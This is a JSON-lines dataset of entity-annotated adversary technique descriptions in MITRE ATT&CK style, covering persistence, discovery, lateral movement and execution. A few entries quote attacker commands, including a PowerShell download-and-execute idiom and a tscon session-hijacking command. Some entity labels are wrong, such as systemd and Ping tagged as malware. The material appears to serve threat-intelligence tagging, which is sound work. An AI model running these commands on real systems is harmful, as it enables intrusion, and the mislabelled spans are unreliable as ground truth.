+{"text": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).", "spans": {"SYSTEM: Microsoft Office": [[548, 564]], "SYSTEM: .NET Framework": [[332, 346]], "SYSTEM: Windows": [[137, 144], [220, 227], [772, 779]], "SYSTEM: Internet Explorer": [[875, 892]], "SYSTEM: .NET": [[332, 336], [366, 370]], "ORGANIZATION: Microsoft": [[95, 104], [548, 557]]}, "info": {"source": "apt_reports", "name": "Visual Basic"}}
+{"text": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions. Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system. Adversaries may also fragment files across the existing file system structure in non-standard ways.", "spans": {}, "info": {"source": "apt_reports", "name": "Hidden File System"}}
+{"text": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`). \n\nInside the `.service` unit files, the following directives are used to execute commands:  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem. \n\nThe `.service` file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., Boot or Logon Initialization Scripts).", "spans": {"SYSTEM: Linux": [[323, 328]], "VULNERABILITY: privilege escalation": [[1427, 1447], [1712, 1732]], "MALWARE: systemd": [[33, 40], [629, 636], [734, 741], [1522, 1529], [1813, 1820], [2004, 2011]]}, "info": {"source": "apt_reports", "name": "Systemd Service"}}
+{"text": "Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them  – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. \n\nFor example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device.\n\nHindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.", "spans": {}, "info": {"source": "apt_reports", "name": "Exclusive Control"}}
+{"text": "Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.", "spans": {"TOOL: RDP": [[354, 357], [418, 421]], "TOOL: Remote Desktop Protocol": [[329, 352]], "SYSTEM: Windows": [[1050, 1057]], "ORGANIZATION: Microsoft": [[283, 292]], "VULNERABILITY: session hijacking": [[422, 439]]}, "info": {"source": "apt_reports", "name": "RDP Hijacking"}}
+{"text": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "spans": {}, "info": {"source": "apt_reports", "name": "Create Account"}}
+{"text": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.", "spans": {"FILEPATH: /etc/xdg/autostart`": [[906, 925]], "SYSTEM: Linux": [[206, 211]]}, "info": {"source": "apt_reports", "name": "XDG Autostart Entries"}}
+{"text": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.", "spans": {"VULNERABILITY: watering hole": [[467, 480]]}, "info": {"source": "apt_reports", "name": "Server"}}
+{"text": "Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses. In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \n\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC). Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.\n\nAdversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication. Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts such as Phishing. They may also leverage email spoofing for Impersonation of legitimate external individuals and organizations, such as journalists and academics.", "spans": {"SYSTEM: Microsoft 365": [[1066, 1079]], "ORGANIZATION: Microsoft": [[1066, 1075]]}, "info": {"source": "apt_reports", "name": "Email Spoofing"}}
+{"text": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable or Modify Cloud Logs.", "spans": {"SYSTEM: Entra ID": [[380, 388]], "SYSTEM: Google Cloud": [[541, 553]], "SYSTEM: Microsoft Defender": [[462, 480]], "SYSTEM: AWS": [[444, 447], [522, 525], [1083, 1086]], "SYSTEM: Azure": [[670, 675], [728, 733], [1026, 1031]], "ORGANIZATION: Microsoft": [[462, 471], [704, 713]], "ORGANIZATION: Google": [[541, 547]], "MALWARE: Pacu": [[1060, 1064]]}, "info": {"source": "apt_reports", "name": "Cloud Service Discovery"}}
+{"text": "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code.\n\nMalicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.\n\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy.\n\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.", "spans": {"SYSTEM: Windows": [[596, 603]], "VULNERABILITY: phishing": [[882, 890]]}, "info": {"source": "apt_reports", "name": "Malicious Copy and Paste"}}
+{"text": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed . \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "spans": {}, "info": {"source": "apt_reports", "name": "Space after Filename"}}
+{"text": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  Ping, <code>net view</code> using Net, or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).", "spans": {"FILEPATH: C:\\Windows\\System32\\Drivers\\etc\\hosts": [[488, 525]], "FILEPATH: /etc/hosts</code>)": [[542, 560]], "SYSTEM: ESXi": [[378, 382]], "SYSTEM: Windows": [[491, 498]], "MALWARE: Ping": [[332, 336]]}, "info": {"source": "apt_reports", "name": "Remote System Discovery"}}
+{"text": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.", "spans": {"SYSTEM: macOS": [[608, 613], [717, 722]]}, "info": {"source": "apt_reports", "name": "Network Service Discovery"}}
+{"text": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).", "spans": {"SYSTEM: Office 365": [[871, 881]]}, "info": {"source": "apt_reports", "name": "Domain Properties"}}
+{"text": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.", "spans": {}, "info": {"source": "apt_reports", "name": "Software Discovery"}}
+{"text": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.", "spans": {"SYSTEM: GCP": [[210, 213]]}, "info": {"source": "apt_reports", "name": "Cloud Service Dashboard"}}
+{"text": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "apt_reports", "name": "Thread Local Storage"}}
+{"text": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve Native API function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools. Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as <code>OutputDebugStringW()</code>.", "spans": {"FILEPATH: /proc/self/status`": [[951, 969]], "SYSTEM: Windows": [[677, 684]], "SYSTEM: Linux": [[917, 922]]}, "info": {"source": "apt_reports", "name": "Debugger Evasion"}}
+{"text": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed .\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "spans": {}, "info": {"source": "apt_reports", "name": "Space after Filename"}}
+{"text": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\". When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory. Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish Persistence by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.", "spans": {"SYSTEM: macOS": [[133, 138]]}, "info": {"source": "apt_reports", "name": "Re-opened Applications"}}
+{"text": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.\n\nTo help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors.\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.", "spans": {"SYSTEM: GitHub": [[1003, 1009]], "ORGANIZATION: Google": [[896, 902]]}, "info": {"source": "apt_reports", "name": "SEO Poisoning"}}
+{"text": "Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.", "spans": {"SYSTEM: Kerberos": [[898, 906]]}, "info": {"source": "apt_reports", "name": "Pass the Hash"}}
+{"text": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Physical Medium"}}
+{"text": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.", "spans": {}, "info": {"source": "apt_reports", "name": "DLL Side-Loading"}}
+{"text": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.  A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures).\n\nFiles can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.", "spans": {"TOOL: PowerShell": [[536, 546]], "TOOL: ftp": [[277, 280]], "TOOL: curl": [[732, 736], [836, 840]], "TOOL: certutil": [[522, 530], [990, 998]], "TOOL: wget": [[786, 790], [828, 832]], "SYSTEM: macOS": [[673, 678]], "SYSTEM: ESXi": [[868, 872]], "SYSTEM: Windows": [[430, 437], [1203, 1210]], "SYSTEM: Linux": [[663, 668]]}, "info": {"source": "apt_reports", "name": "Ingress Tool Transfer"}}
+{"text": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V). For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by \"living off the land.\" Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.\n\nFor example,  PowerShell commands may be invoked using:\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`", "spans": {"TOOL: PowerShell": [[83, 93], [665, 675], [880, 890], [958, 968]], "TOOL: SyncAppvPublishingServer": [[22, 46], [104, 128], [438, 462], [626, 650], [924, 948]], "TOOL: wscript": [[589, 596]], "TOOL: powershell": [[848, 858]], "SYSTEM: Windows": [[178, 185], [274, 281]], "ORGANIZATION: Microsoft": [[212, 221], [506, 515]]}, "info": {"source": "apt_reports", "name": "SyncAppvPublishingServer"}}
+{"text": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings. \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.", "spans": {"TOOL: PowerShell": [[177, 187]], "SYSTEM: Office 365": [[261, 271], [546, 556]], "SYSTEM: Gmail": [[422, 427]], "ORGANIZATION: Google": [[307, 313], [359, 365]], "VULNERABILITY: phishing": [[1382, 1390]]}, "info": {"source": "apt_reports", "name": "Additional Email Delegate Permissions"}}
+{"text": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", "spans": {}, "info": {"source": "apt_reports", "name": "Code Signing Certificates"}}
+{"text": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "spans": {"SYSTEM: Windows": [[115, 122], [140, 147]]}, "info": {"source": "apt_reports", "name": "Network Share Connection Removal"}}
+{"text": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking). Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.\n\nServerless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created. This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint. In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.", "spans": {"SYSTEM: Microsoft 365": [[1349, 1362]], "SYSTEM: Google Cloud": [[723, 735]], "SYSTEM: SharePoint": [[1554, 1564]], "SYSTEM: AWS": [[670, 673], [1039, 1042]], "ORGANIZATION: Microsoft": [[1349, 1358]], "ORGANIZATION: Google": [[723, 729], [1569, 1575]]}, "info": {"source": "apt_reports", "name": "Serverless Execution"}}
+{"text": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through Process Injection or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious AppleScript. When executing under the Finder App, the malicious AppleScript inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and Launchctl.", "spans": {"SYSTEM: macOS": [[180, 185], [1273, 1278]]}, "info": {"source": "apt_reports", "name": "TCC Manipulation"}}
